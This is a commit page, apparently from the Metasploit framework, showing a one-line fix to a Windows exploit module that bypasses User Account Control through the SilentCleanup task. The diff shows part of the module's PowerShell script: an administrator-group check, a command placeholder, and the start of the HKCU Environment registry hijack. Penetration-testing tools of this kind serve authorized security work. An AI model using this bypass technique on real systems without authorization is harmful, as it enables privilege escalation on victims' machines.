bypassuac_silentcleanup: cleanup %WINDIR% env var before calling powe…

…rshell payload Fixes #12665
rapid7 · Dec 5, 2019 · 2931863 · 2931863
1 parent 104710c
commit 2931863
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/modules/exploits/windows/local/bypassuac_silentcleanup.rb b/modules/exploits/windows/local/bypassuac_silentcleanup.rb
@@ -50,6 +50,7 @@ def initialize(info = {})
   def get_bypass_script(cmd)
     scr = %Q{
       if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
+        $env:windir = [System.Environment]::GetEnvironmentVariable("windir", "machine")
         #{cmd}
       } else {
           $registryPath = "HKCU:\\Environment"